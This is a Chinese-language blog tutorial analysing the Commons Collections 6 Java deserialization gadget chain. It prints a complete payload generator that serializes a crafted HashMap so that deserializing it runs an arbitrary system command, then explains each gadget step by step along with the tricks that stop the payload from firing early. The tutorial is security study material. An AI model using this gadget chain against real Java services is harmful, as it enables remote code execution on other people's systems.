java反序列化---cc6链

目录

Transformer[]数组分析

链条代码跟进

ChainedTransformer.transform()

LazyMap.get()

TiedMapEntry.getValue()

TiedMapEntry.hashCode()

HashMap.hash()

HashMap.put()的意外触发

LazyMap.get()中key的包含问题


cc6的payload如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections6 {public byte[] getPayload(String command) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class },new String[] { command }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);// 不再使用原CommonsCollections6中的HashSet,直接使用HashMapMap innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}

Transformer[]数组分析

首先不看第一行的faketransformer,直接来看第二个数组

数组内new了5个对象,咱们分别来说

1.

new ConstantTransformer(Runtime.class),

咱们跟进这个对象,可以看到就只是将Runtime.class,也就是Runtime这个类的字节码,赋值给到这个对象的iconstant字段

2.

new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),

 这里就不说了,三个赋值

主要是这里,先不管能不能调用到transform这个方法,我们先来看这个方法到底干了什么,首先getClass()拿到对应的对象字节码,然后通过getMethod()拿到方法,之后通过invoke调用

假如可以调用这个transform方法,把我们的参数传进入会发生什么?

这里的input值不知道那就先不看,这里的意思就是,先拿到这个对象的getMethod方法,然后进行调用,也就是再通过getMethod方法获取到了getRuntime这个方法,这里可能有点混,看不懂的小伙伴仔细想想或者调试

 3.

new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),

方法名与第二个一样,所以咱可以大胆的猜测这里的意思是使用invoke方法调用某个方法 xxx.invoke('null'),这里有一点注意,当invoke调用静态方法时,第一个参数永远为空  

4.

new InvokerTransformer("exec", new Class[] { String.class },new String[] { command }),

同上,这里的意思是拿到exec方法,并且传参command(main方法里的command参数为calc.exe)

5.

new ConstantTransformer(1),

方法名与第一个相同,这里的意思我猜测应该是回到初始状态,并没有什么实际作用

链条代码跟进

ChainedTransformer.transform()

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

这里我们先不管这个fakeTransformers,跟进ChainedTransformer方法,就只是将参数赋值给到iTransformer数组

我们应该注意的是它下面的代码,transform这个方法,代码具体意思是将iTransformer这个数组遍历,然后递归调用

先不管我们能不能调用这个transform方法,假如我们能调用,那么iTransformer[0]~[4]是否就代表了我们上面提到的那5点

首先来看iTransformer[0].transform(),返回iContant这个字段值,即为Runtime.class

 

此时object的值为Runtime.class,然后到iTransformer[1].transform(),即InvokerTransformer.transform(),是不是很熟悉?那正是我们之前分析过的,而之前的input值也变成了现在的Runtime.class,所以返回值为Runtime.getRuntime()

此时object的值为Runtime.class.getRuntime()接着iTransformer[2].transform(),返回值为Runtime.class.getRuntime().invoke()

iTransformer[3].transform()的返回值为Runtime.class.getRuntime().invoke().exec(command)

所以咱们的payload能够完美地触发,但问题是要想执行payload,就必须触发ChainedTransformer.transform()方法

整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()

LazyMap.get()

接下来就需要我们的LazyMap上场了

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

首先new了一个HashMap,然后再调用LazyMap.decorate()方法,那就跟进decorate方法

 再跟LazyMap构造方法

可以看到最终是将factory赋值为我们的transformerChain,那就找谁用了factory  

终于在LazyMap.get()方法里找到了,并且刚好有我们需要的transform方法,也就是说,这里的factory.transform就等于ChainedTransformer.transform(),那如果谁能调用LazyMap.get()方法,那就能触发我们的payload

TiedMapEntry.getValue()

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

 跟进构造函数后发现依然是我们熟悉的赋值,map已经为LazyMap了,那就寻找谁调用了get方法

一番寻找后,发现TiedMapEntry.getValue()可以触发  

到这里,我们整理一下链条

Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()----->LazyMap.get()----->TiedMapEntry.getValue()

TiedMapEntry.hashCode()

寻找谁能调用TiedMapEntry.getValue(),TiedMapEntry.hashCode方法就可以

再找谁能调用TiedMapEntry.hashCode()

HashMap.hash()

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

 跟进代码,就是将tme作为键,"valuevalue"作为值

此时key为TiedMapEntry,所以就找谁调用了hashcode方法

刚好HashMap.hash()调用了hashcode方法,更巧的是此时hashmap的readobject方法又调用了hash这个方法,那这样一切都清楚了,当java反序列化我们的构造好的序列化字符串时,调用了hashmap的readobject方法,便直接触发了我们的payload

最后整理一下链条

Runtime.getRuntime().exec()<-----InvokerTransformer.transform<-----ConstantTransformer.transform<-----ChainedTransformer.transform()<-----LazyMap.get()<-----TiedMapEntry.getValue()<-----TiedMapEntry.hashCode()<-----HashMap.hash()<-----HashMap.readObject()

cc链所有的链条都清楚了,但真的完了吗?

HashMap.put()的意外触发

也许还有小伙伴记得前面的fakeTransformers,这里的fakeTransformers到底是干嘛的?

我们不妨去掉它试试,将之前传入的fakeTransformers改为我们的payload数组

Transformer transformerChain = new ChainedTransformer(transformers);

可以看到在改为我们的payload数组运行后,计算器直接弹出了,这是为什么?

按理来说并不应该触发,因为我们还没有进行反序列化,也就是还没有调用HashMap的readObject方法,也就不应该执行我们的payload,这是为什么呢?

这是因为HashMap.put()方法也调用了hash这个方法,导致我们的payload提前执行

而fakeTransformers解决了我们这个问题

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

 先传入一个假的数组,让代码不执行任何payload,然后再通过反射修改ChainedTransformer类里面的iTransformers值,改为我们的payload,这样就不会意外触发了

LazyMap.get()中key的包含问题

最后还有一个问题,那就是这里的key为什么必须删掉?

outerMap.remove("keykey");

 来到LazyMap.get()方法,这里有一个if条件,如果此时map里面包含了传进来的这个key,那就会直接返回值,不会调用transform方法了,所以我们要避免这样的情况

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/349909.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue40-vueComponent构造函数

一、组件的本质&#xff1a;VueComponent构造函数 组件的本质是&#xff1a;构造函数 二、每一次调用vue.extend&#xff0c;返回的事一个全新的 VueComponent VueComponent的源码如下&#xff1a; 三、组件中的this 组件中的this是VueComponent实例对象&#xff0c;结构和vm…

vite.config.js如何使用env的环境变量

了解下环境变量在vite中 官方文档走起 https://cn.vitejs.dev/guide/env-and-mode.html#env-variables-and-modes 你见到的.env,.env.production等就是放置环境变量的 官方文档说到.env.[mode] # 只在指定模式下加载,比如.env.development只在开发环境加载 至于为什么是deve…

前缀和算法:算法秘籍下的数据预言家

✨✨✨学习的道路很枯燥&#xff0c;希望我们能并肩走下来! 文章目录 目录 文章目录 前言 一. 前缀和算法的介绍 二、前缀和例题 2.1 【模版】前缀和 2.2 【模板】二维前缀和 2.3 寻找数组的中间下标 2.4 除自身以外数组的乘积 2.5 和为k的子数组 2.6 和可被k整除的子数组 2.7 …

maven编译【-Dmaven.test.skip=true和-DskipTests=true的区别】

1、背景 我在执行maven编译时&#xff0c;遇到下面情况&#xff1a; 1、当执行命令为下面&#xff1a; mvn clean compile package install -Dmaven.wagon.http.ssl.insecuretrue -Dmaven.wagon.http.ssl.allowalltrue -Dmaven.wagon.http.ssl.ignore.validity.datestrue -Dra…

红队内网攻防渗透:内网渗透之Linux内网权限提升技术:udf提权Capability权限LD_PRELOAD环境变量

红队内网攻防渗透 1. 内网权限提升技术1.1 Linux系统提权-Web&用户-数据库udf提权1.1.1 信息收集1.1.2 Web权限获取1.1.3 MYSQL-UDF提权1.1.4 下载到目标上1.1.5 连接确认是否有条件进行导出调用1.1.6 开始进行写入导出调用1.2 Linux系统提权-Web&用户-Capability能力1…

Java语言+前端框架html+Thymeleaf +后端框架springboot开发的UWB智能定位系统源码 UWB三维可视化人员定位系统源码

Java语言前端框架htmlThymeleaf 后端框架springboot开发的UWB智能定位系统源码 UWB三维可视化人员定位系统源码 UWB定位系统基于B/S架构的软件和嵌入式硬件都具有很好的扩展性和兼容性&#xff0c;可以与其他系统接口&#xff08;比如&#xff1a;围界、AB门、高压电网、报警、…

怎么图片转excel表格?推荐三个方法

怎么图片转excel表格&#xff1f;在信息化高速发展的今天&#xff0c;图片转Excel表格的需求日益凸显&#xff0c;尤其是在职场办公中&#xff0c;这一需求更是显得尤为迫切。为了满足广大用户的需求&#xff0c;市面上涌现出了众多图片转Excel的软件。今天&#xff0c;就为大家…

QT 使用资源文件的注意点

不要存放没有使用的资源文件 即使在代码中没有使用到的资源文件&#xff0c;也会编译到执行文件或者DLL里面去这样会增大它的体积。如下 在代码没有使用这个资源文件(10.4M的2k图片)&#xff0c;但是编译出来的程序有 12M左右的大小

java写一个验证码

生成验证码 内容&#xff1a;可以是小写字母&#xff0c;也可以是大写字母&#xff0c;还可以是数字 规则 长度为5 内容中是四位字母&#xff0c;1位数字。 其中数字只有1位&#xff0c;但是可以出现在任意的位置。 package User;import java.util.ArrayList; import jav…

Android Studio Jellyfish版本修改project使用特定jdk版本的步骤

android studio总是把这些东西改来改去让人十分恼火&#xff0c;IDE本身改来改去就让人无法上手就立即工作&#xff0c;很多时间浪费在IDE和gradle的配置和奇奇怪怪现象的斗智斗勇上&#xff0c;搞Android是真的有点浪费生命。一入此坑深不见底 jellyfish版安卓studio已经无法通…

LeetCode | 434.字符串中的单词数

这道题直接使用语言内置的 split 函数可直接分离出字符串中的每个单词&#xff0c;但是要注意区分两种情况&#xff1a;1、空串&#xff1b;2、多个空格连续&#xff0c;分割后会出现空字符的情况&#xff0c;应该舍弃 class Solution(object):def countSegments(self, s):&qu…

接口测试之用Fiddler对手机app进行抓包

Fiddler是一款非常流行并且实用的http抓包工具&#xff0c;它的原理是在本机开启了一个http的代理服务器&#xff0c;然后它会转发所有的http请求和响应&#xff0c;因此&#xff0c;它比一般的firebug或者是chrome自带的抓包工具要好用的多。不仅如此&#xff0c;它还可以支持…

202478读书笔记|《人间小满》——小满,才是最好的人生状态,养身先养心,知世故而不世故,历圆滑而弥天真

202478读书笔记|《人间小满》——小满&#xff0c;才是最好的人生状态&#xff0c;养身先养心&#xff0c;知世故而不世故&#xff0c;历圆滑而弥天真 一、画出世俗的欢喜&#xff0c;过一种平淡自由的人生二、与时舒卷&#xff0c;抵岁月荒唐三、一半是海水&#xff0c;一半是…

案例学习-存量更新规划实施探索(武汉)

案例学习-存量更新规划实施探索&#xff08;武汉&#xff09; 武汉市在早期旧城更新实践中发现零散化的更新往往导致资源配置分散、城市建设破碎化等弊病&#xff0c;特别是由于过于强调项目自身“经济平衡”&#xff0c;在实施过程中也逐步暴露出住宅占比过大、强度偏高、公服…

C++之模板

在C 中&#xff0c;模板为泛型程序设计奠定了关键的基础。使用模板需要用到两个关键字template 、typename&#xff0c;写法&#xff1a;template<typename Type> template告诉编译器&#xff0c;将要定义一个模板&#xff0c;<>中的是模板参数列表&#xff0c;类…

AGI 远不止 ChatGPT!一文入门 AGI 通识及应用开发

AI 大语言模型进入爆发阶段 2022 年 12 月 ChatGPT 突然爆火&#xff0c;原因是其表现出来的智能化已经远远突破了我们的常规认知。虽然其呈现在使用者面前仅仅只是一个简单的对话问答形式&#xff0c;但是它的内容化水平非常强大&#xff0c;甚至在某些方面已经超过人类了&am…

禁用PS/Photoshop等一系列Adobe旗下软件联网外传用户数据操作

方案一&#xff1a; 下载火绒杀毒&#xff0c;在联网请求上禁用Adobe软件的联网请求&#xff0c;甚至还可以额外发现哪些是它要想要偷偷摸摸干的。 方案二&#xff1a; 最后注意&#xff1a; 用盗版软件只是获得了使用权&#xff01;

关于element-plus中el-select自定义标签及样式的问题

关于element-plus中el-select自定义标签及样式的问题 我这天天的都遇到各种坑&#xff0c;关于自定义&#xff0c;我直接复制粘贴代码都实现不了&#xff0c;研究了一下午&#xff0c;骂骂咧咧了一下午&#xff0c;服气了。官网代码实现不了&#xff0c;就只能 “ 曲线救国 ”…

Kubernetes集群持久化部署实践

WordPress 网站持久化部署 要持久化MariaDB 可以把 Deployment 改成了 StatefulSet&#xff0c;修改 YAML添加“serviceName”“volumeClaimTemplates”这两个字段&#xff0c;定义网络标识和 NFS 动态存储卷&#xff0c;然后在容器部分用“volumeMounts”挂载到容器里的数据目…

php实现一个简单的MySQL分页

一、案例演示&#xff1a; 二、php 代码 <?php $servername "localhost"; // MySQL服务器名称或IP地址 $username "root"; // MySQL用户名 $password "123456"; // MySQL密码 $dbname "test"; // 要连接…